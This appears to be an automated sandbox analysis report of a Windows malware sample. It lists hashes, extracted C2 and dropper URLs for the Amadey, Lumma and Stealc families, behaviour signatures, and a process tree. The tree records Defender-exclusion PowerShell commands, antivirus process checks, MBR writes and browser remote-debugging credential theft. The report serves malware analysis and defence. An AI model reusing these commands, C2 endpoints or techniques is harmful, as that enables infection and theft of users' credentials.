Analysis
-
max time kernel
90s -
max time network
307s -
platform
windows11-21h2_x64 -
resource
win11-20250313-en -
resource tags
-
submitted
28/03/2025, 18:26
General
-
Target
37700bf5466bc1a05e759b3cc56f984e8b4e0102e0fc24291bc56587c71310b8.exe
-
Size
1.8MB
-
MD5
8480b3439f6f2fe71ff8136c8475a0e1
-
SHA1
8f787c424f7a1ac854d26b723008ea29d9f1b1aa
-
SHA256
37700bf5466bc1a05e759b3cc56f984e8b4e0102e0fc24291bc56587c71310b8
-
SHA512
2b72c1f30549156dcf42aff32d2967580147a1cc499ca93f7a3e2b773e814bd9c368772d6ed02031c086b2c8376b405d30c7a43abff0729732232ad008e97958
-
SSDEEP
49152:fyPxPnQHIr7nIXvPvwrARGSLEUBLEffrLrr90+:6PxfQoTIXvPYlSLEWgXrLrr
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
http://176.113.115.7/mine/random.exe
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
http://176.113.115.7/mine/random.exe
Extracted
Family
amadey
Version
5.21
Botnet
092155
C2
http://176.113.115.6
Attributes
-
install_dir
bb556cff4a
-
install_file
rapes.exe
-
strings_key
a131b127e996a898cd19ffb2d92e481b
-
url_paths
/Ni9kiput/index.php
rc4.plain
Extracted
Family
lumma
C2
https://esccapewz.run/ANSbwqy
https://travewlio.shop/ZNxbHi
https://touvrlane.bet/ASKwjq
https://sighbtseeing.shop/ASJnzh
https://advennture.top/GKsiio
https://targett.top/dsANGt
https://holidamyup.today/AOzkns
https://mtriplooqp.world/APowko
https://twxayfarer.live/ALosnz
https://oreheatq.live/gsopp
https://castmaxw.run/ganzde
https://weldorae.digital/geds
https://steelixr.live/aguiz
https://smeltingt.run/giiaus
https://ferromny.digital/gwpd
Extracted
Family
stealc
Botnet
trump
C2
http://45.93.20.28
Attributes
-
url_path
/85a1cacf11314eb8.php
Signatures
-
Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
-
Amadey family
-
Detects Healer an antivirus disabler dropper 3 IoCs
-
Healer
Healer an antivirus disabler dropper.
-
Healer family
-
Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
-
Lumma family
-
Stealc
Stealc is an infostealer written in C++.
-
Stealc family
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 18 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
-
Creates new service(s) 2 TTPs
-
Downloads MZ/PE file 9 IoCs
-
Drops file in Drivers directory 3 IoCs
-
Possible privilege escalation attempt 2 IoCs
-
Sets service image path in registry 2 TTPs 5 IoCs
-
Stops running service(s) 4 TTPs
-
Uses browser remote debugging 2 TTPs 31 IoCs
Can be used control the browser and steal sensitive information such as credentials and session cookies.
-
Checks BIOS information in registry 2 TTPs 8 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Deletes itself 1 IoCs
-
Executes dropped EXE 34 IoCs
-
Identifies Wine through registry keys 2 TTPs 4 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
-
Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs
-
Loads dropped DLL 27 IoCs
-
Modifies file permissions 1 TTPs 2 IoCs
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Adds Run key to start application 2 TTPs 3 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
-
AutoIT Executable 2 IoCs
AutoIT scripts compiled to PE executables.
-
Enumerates processes with tasklist 1 TTPs 4 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
-
Suspicious use of SetThreadContext 6 IoCs
-
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
-
Drops file in Windows directory 15 IoCs
-
Launches sc.exe 38 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Browser Information Discovery 1 TTPs
Enumerate browser information.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 12 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 22 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 64 IoCs
Adversaries may check for Internet connectivity on compromised systems.
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Delays execution with timeout.exe 4 IoCs
-
Kills process with taskkill 5 IoCs
-
Modifies registry key 1 TTPs 8 IoCs
-
Runs ping.exe 1 TTPs 64 IoCs
-
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 46 IoCs
-
Suspicious behavior: LoadsDriver 3 IoCs
-
Suspicious behavior: MapViewOfSection 3 IoCs
-
Suspicious use of AdjustPrivilegeToken 32 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\SysWOW64\svchost.exe"C:\Windows\System32\svchost.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\svchost.exe"C:\Windows\System32\svchost.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\37700bf5466bc1a05e759b3cc56f984e8b4e0102e0fc24291bc56587c71310b8.exe"C:\Users\Admin\AppData\Local\Temp\37700bf5466bc1a05e759b3cc56f984e8b4e0102e0fc24291bc56587c71310b8.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Downloads MZ/PE file
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\10337510101\u75a1_003.exe"C:\Users\Admin\AppData\Local\Temp\10337510101\u75a1_003.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Add-MpPreference -ExclusionPath 'C:'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\svchost.exe"C:\Windows\system32\svchost.exe"4⤵
- Downloads MZ/PE file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe"C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe" ""5⤵
- Sets service image path in registry
- Executes dropped EXE
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath C:\6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Remove-MpPreference -ExclusionPath C:\6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe"C:\Users\Admin\AppData\Local\Temp\\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe" ""5⤵
- Deletes itself
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\{b40806e2-c6fa-4f07-99d9-7ed43846ae31}\75a55d39.exe"C:\Users\Admin\AppData\Local\Temp\{b40806e2-c6fa-4f07-99d9-7ed43846ae31}\75a55d39.exe" -accepteula -adinsilent -silent -processlevel 2 -postboot6⤵
- Executes dropped EXE
- Checks for VirtualBox DLLs, possible anti-VM trick
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\{0eed169f-2932-4fdb-88b4-e035bf2ca795}\d9d42f7b.exeC:/Users/Admin/AppData/Local/Temp/{0eed169f-2932-4fdb-88b4-e035bf2ca795}/\d9d42f7b.exe -accepteula -adinsilent -silent -processlevel 2 -postboot7⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Executes dropped EXE
- Impair Defenses: Safe Mode Boot
- Loads dropped DLL
- Adds Run key to start application
- Writes to the Master Boot Record (MBR)
- Checks for VirtualBox DLLs, possible anti-VM trick
- System Location Discovery: System Language Discovery
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10337820101\7IIl2eE.exe"C:\Users\Admin\AppData\Local\Temp\10337820101\7IIl2eE.exe"3⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\CMD.exe"C:\Windows\system32\CMD.exe" /c copy Expectations.cab Expectations.cab.bat & Expectations.cab.bat4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "opssvc wrsa"5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\findstr.exefindstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"5⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10338870101\TbV75ZR.exe"C:\Users\Admin\AppData\Local\Temp\10338870101\TbV75ZR.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5140 -s 5125⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10340260101\7a2ca10ed6.exe"C:\Users\Admin\AppData\Local\Temp\10340260101\7a2ca10ed6.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\10345240101\EPTwCQd.exe"C:\Users\Admin\AppData\Local\Temp\10345240101\EPTwCQd.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Users\Admin\AppData\Local\Temp\10358260101\Rm3cVPI.exe"C:\Users\Admin\AppData\Local\Temp\10358260101\Rm3cVPI.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\10359660101\xZRvIQ5.exe"C:\Users\Admin\AppData\Local\Temp\10359660101\xZRvIQ5.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Expand-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\10359820261\martin.zip' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\10359820261\martin\'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\10359820261\martin\installer.exe"C:\Users\Admin\AppData\Local\Temp\10359820261\martin\installer.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\10360100101\amnew.exe"C:\Users\Admin\AppData\Local\Temp\10360100101\amnew.exe"3⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"4⤵
- Downloads MZ/PE file
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\10001960101\gron12321.exe"C:\Users\Admin\AppData\Local\Temp\10001960101\gron12321.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"6⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe"C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"6⤵
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"7⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe33eddcf8,0x7ffe33eddd04,0x7ffe33eddd108⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1912,i,2102973543596895405,1144133824605986475,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=1884 /prefetch:28⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=2188,i,2102973543596895405,1144133824605986475,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=2200 /prefetch:118⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2340,i,2102973543596895405,1144133824605986475,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=2344 /prefetch:138⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3220,i,2102973543596895405,1144133824605986475,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=3232 /prefetch:18⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3448,i,2102973543596895405,1144133824605986475,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=3472 /prefetch:18⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3940,i,2102973543596895405,1144133824605986475,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=3852 /prefetch:98⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4632,i,2102973543596895405,1144133824605986475,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=4616 /prefetch:18⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5144,i,2102973543596895405,1144133824605986475,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5148 /prefetch:148⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"7⤵
- Uses browser remote debugging
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x248,0x24c,0x250,0x244,0x2bc,0x7ffe3353f208,0x7ffe3353f214,0x7ffe3353f2208⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1908,i,13843763686854223722,17335412784355107198,262144 --variations-seed-version --mojo-platform-channel-handle=2140 /prefetch:118⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2028,i,13843763686854223722,17335412784355107198,262144 --variations-seed-version --mojo-platform-channel-handle=2024 /prefetch:28⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=1372,i,13843763686854223722,17335412784355107198,262144 --variations-seed-version --mojo-platform-channel-handle=2492 /prefetch:138⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3492,i,13843763686854223722,17335412784355107198,262144 --variations-seed-version --mojo-platform-channel-handle=3528 /prefetch:18⤵
- Uses browser remote debugging
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3504,i,13843763686854223722,17335412784355107198,262144 --variations-seed-version --mojo-platform-channel-handle=3560 /prefetch:18⤵
- Uses browser remote debugging
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=2520,i,13843763686854223722,17335412784355107198,262144 --variations-seed-version --mojo-platform-channel-handle=4152 /prefetch:18⤵
- Uses browser remote debugging
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --extension-process --renderer-sub-type=extension --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=4172,i,13843763686854223722,17335412784355107198,262144 --variations-seed-version --mojo-platform-channel-handle=4188 /prefetch:98⤵
- Uses browser remote debugging
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --field-trial-handle=4252,i,13843763686854223722,17335412784355107198,262144 --variations-seed-version --mojo-platform-channel-handle=4288 /prefetch:18⤵
- Uses browser remote debugging
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --extension-process --renderer-sub-type=extension --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --field-trial-handle=4212,i,13843763686854223722,17335412784355107198,262144 --variations-seed-version --mojo-platform-channel-handle=4308 /prefetch:98⤵
- Uses browser remote debugging
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5076,i,13843763686854223722,17335412784355107198,262144 --variations-seed-version --mojo-platform-channel-handle=5332 /prefetch:148⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=3824,i,13843763686854223722,17335412784355107198,262144 --variations-seed-version --mojo-platform-channel-handle=5216 /prefetch:148⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5568,i,13843763686854223722,17335412784355107198,262144 --variations-seed-version --mojo-platform-channel-handle=5724 /prefetch:148⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5620,i,13843763686854223722,17335412784355107198,262144 --variations-seed-version --mojo-platform-channel-handle=5764 /prefetch:148⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"7⤵
- Uses browser remote debugging
-
-
C:\ProgramData\l6890zc2db.exe"C:\ProgramData\l6890zc2db.exe"7⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"8⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"8⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"8⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"8⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"8⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"8⤵
-
-
-
C:\ProgramData\gvs00r1nym.exe"C:\ProgramData\gvs00r1nym.exe"7⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"8⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""9⤵
- Uses browser remote debugging
-
